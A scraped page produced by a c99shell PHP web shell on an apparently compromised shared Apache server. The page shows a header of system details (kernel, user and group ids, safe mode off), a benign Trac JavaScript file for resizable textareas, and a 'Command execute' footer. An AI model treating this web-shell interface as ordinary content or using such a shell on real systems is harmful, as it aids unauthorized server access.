Software: Apache. PHP/8.3.27 uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364) Safe-mode: OFF (not secure) /usr/lib/python3/dist-packages/trac/htdocs/js/ drwxr-xr-x | |
| Viewing file: Select action/file-type: // Allow resizing <textarea> elements through a drag bar
jQuery(function($) {
$('textarea.trac-resizable').each(function() {
var textarea = $(this);
var offset = null;
function beginDrag(e) {
offset = textarea.height() - e.pageY;
textarea.blur();
$(document).mousemove(dragging).mouseup(endDrag);
return false;
}
function dragging(e) {
textarea.height(Math.max(32, offset + e.pageY) + 'px');
return false;
}
function endDrag(e) {
textarea.focus();
$(document).off('mousemove', dragging).off('mouseup', endDrag);
}
var grip = $('<div class="trac-grip"/>').mousedown(beginDrag)[0];
textarea.wrap('<div class="trac-resizable"><div></div></div>')
.parent().append(grip);
grip.style.marginLeft = (this.offsetLeft - grip.offsetLeft) + 'px';
grip.style.marginRight = (grip.offsetWidth - this.offsetWidth) +'px';
});
});
|
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0104 ]-- |